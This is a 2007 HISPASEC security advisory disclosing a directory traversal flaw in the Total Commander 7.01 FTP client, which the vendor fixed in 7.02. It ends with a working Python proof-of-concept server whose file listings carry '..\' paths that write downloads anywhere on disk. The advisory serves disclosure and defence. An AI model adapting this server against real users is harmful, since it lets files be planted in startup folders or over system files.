[HISPASEC] 2K7SEPT6 Total Commander 7.01 Remote FTP Client Directory Traversal

["Gynvael Coldwind" <gynvael@xxxxxxxxxxxxx>]

HISPASEC
Security Advisory
http://blog.hispasec.com/lab/

Name         : 2K7SEPT6 Total Commander 7.01 Remote FTP Client
Directory Traversal
Class        : Remote Directory Traversal
Threat level : HIGH
Discovered   : 2007-08-25
Published    : 2007-09-06
Credit       : Gynvael Coldwind
Vulnerable   : 7.01 and prior


== Abstract ==

Christian Ghislers Total Commander is a popular Windows file explorer with a
built-in support for FTP protocol.

Total Commander is vulnerable to remote file name spoofing leading to local
directory traversal while downloading a file from a malformed FTP server.
Successful exploitation may lead to a full scale system compromise.


== Details ==

The FTP feature fails to correctly check the name of a file that is to be
downloaded. This filename can contain backslashes and dots, and these dots and
backslashes will be shown in the "Download" (Copy used on a file on the FTP
server) window, and so, the file will be downloaded to a location chosen by the
attacker.
To make it worse, Total Commander strips path from the listing window, so that
these backslashes and dots are not shown in the location window.

How this is done:
1. A Total Commander user connects to an FTP server.
2. The Total Commander starts the FTP procedure:
USER something
PASS something
SYST
FEAT
PWD
TYPE A
PASV
LIST
3. The FTP send the following file list to the Total Commander:
-rwxr-xr-x   2 ftp      ftp          4096 Aug  1 02:28
st\..\..\..\..\..\BackSlashPoC
4. The Total Commander will strip the backslashes, and will show only
BackSlashPoC in the lister window.a
5. The user presses F5 (copy) on the file and Enter. The dots and backslashes
will be shown there, but the uses in most cases will not notice it (this has
been tested). If the file is located inside a directory or was selected for
batch copying the user will never be informed about the additional path
traversal.
6. The file is downloaded to the location
UserChosen\st\..\..\..\..\..\..BackSlashPoC

Since more then enough \..\..\ will just bring the path to the disk root, the
attacker can choose any location on the disk to write the file to. The file can
for example overwrite a critical system file, or create a file in the Autostart
folder.

See Proof of Concept exploit at the bottom of this advisory.

== Vendor status and solution ==

The vendor has been informed and has released a new version (7.02) with this
issue being fixed.
It is advised to upgrade Total Commander to the newest version availible.


== Proof of Concept ==
# python localhost ftp server

import socket

TransferSock = 0

def sendDirList (sock):
  (DataSock, Address) = TransferSock.accept()
  print "sendDirList: TransferSock accepted a connection"
  sock.send("150 Opening ASCII mode data connection for file list\r\n");
  DataSock.send("-rwxr-xr-x   2 ftp      ftp          4096 Aug  1
02:28 st\\..\\..\\..\\..\\..\\BackSlashPoC\n");
  DataSock.close()
  sock.send("226 Transfer complete.\r\n");
  print "sendDirList: Transfer complete\r\n"

def sendFile (sock):
  (DataSock, Address) = TransferSock.accept()
  print "sendDirList: TransferSock accepted a connection"
  sock.send("150 Opening BINARY mode data connection for sth (5 bytes)\r\n");
  DataSock.send("Proof of Concept - Remote FTP Client directory
traversal vulnerability (G.C. - Hispasec)");
  DataSock.close()
  sock.send("226 Transfer complete.\r\n");
  print "sendDirList: Transfer complete\r\n"

def handleUSER (sock, cmd, argz): sock.send("331 Password required for
user\r\n")
def handlePASS (sock, cmd, argz): sock.send("230 User logged in.\r\n")
def handleSYST (sock, cmd, argz): sock.send("215 UNIX Type: L8\r\n")
def handleFEAT (sock, cmd, argz): sock.send("211-Features:\r\n
MDTM\r\n REST STREAM\r\n211 End\r\n");
def handleTYPE (sock, cmd, argz): sock.send("200 Type set to " + argz + "\r\n");
def handlePASV (sock, cmd, argz): sock.send("227 Entering Passive Mode
(127,0,0,1,10,10)\r\n");
def handlePWD (sock, cmd, argz): sock.send("257 \"/ProofOfConcept\" is
current directory.\r\n")
def handleLIST (sock, cmd, argz): sendDirList(sock)
def handleQUIT (sock, cmd, argz):
  sock.send("Bye.\r\n")
  sock.close()

def handleRETR (sock, cmd, argz):
  if argz == "/":
    sendDirList(sock)
  else:
    sendFile(sock)


def unknown (sock, cmd, argz): sock.send("550 " + cmd + ": Operation
not permitted\r\n")

handlers = {
    'USER': handleUSER,
    'PASS': handlePASS,
    'SYST': handleSYST,
    'FEAT': handleFEAT,
    'TYPE': handleTYPE,
    'PASV': handlePASV,
    'PWD': handlePWD,
    'LIST': handleLIST,
    'QUIT': handleQUIT,
    'RETR': handleRETR
    }

ControlSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ControlSock.bind(("127.0.0.1", 2021))
ControlSock.listen(1)

TransferSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TransferSock.bind(("127.0.0.1", 10 * 256 + 10))
TransferSock.listen(10)

# Control Sock loop
(ClientSock, Address) = ControlSock.accept()
ClientSock.send("220 PoCFTPD 1.2.3.4 Server ready.\r\n");
end = 0

while not end:
  cmd = ClientSock.recv(1024)
  print "Debug: recv -> " + cmd.strip()
  command = (cmd[0:4]).strip()
  argz = ((cmd.strip())[5:]).strip()
  handlers.get(command, unknown)(ClientSock, command, argz)


== Disclaimer ==
This document and all the information it contains is provided "as is",
without any warranty. Hispasec Sistemas is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.

Copyright (C) 2007 Hispasec Sistemas.


-- 
Gynvael Coldwind
mailto: gynvael AT vexillium DOT org
mailto: michael AT hispasec DOT com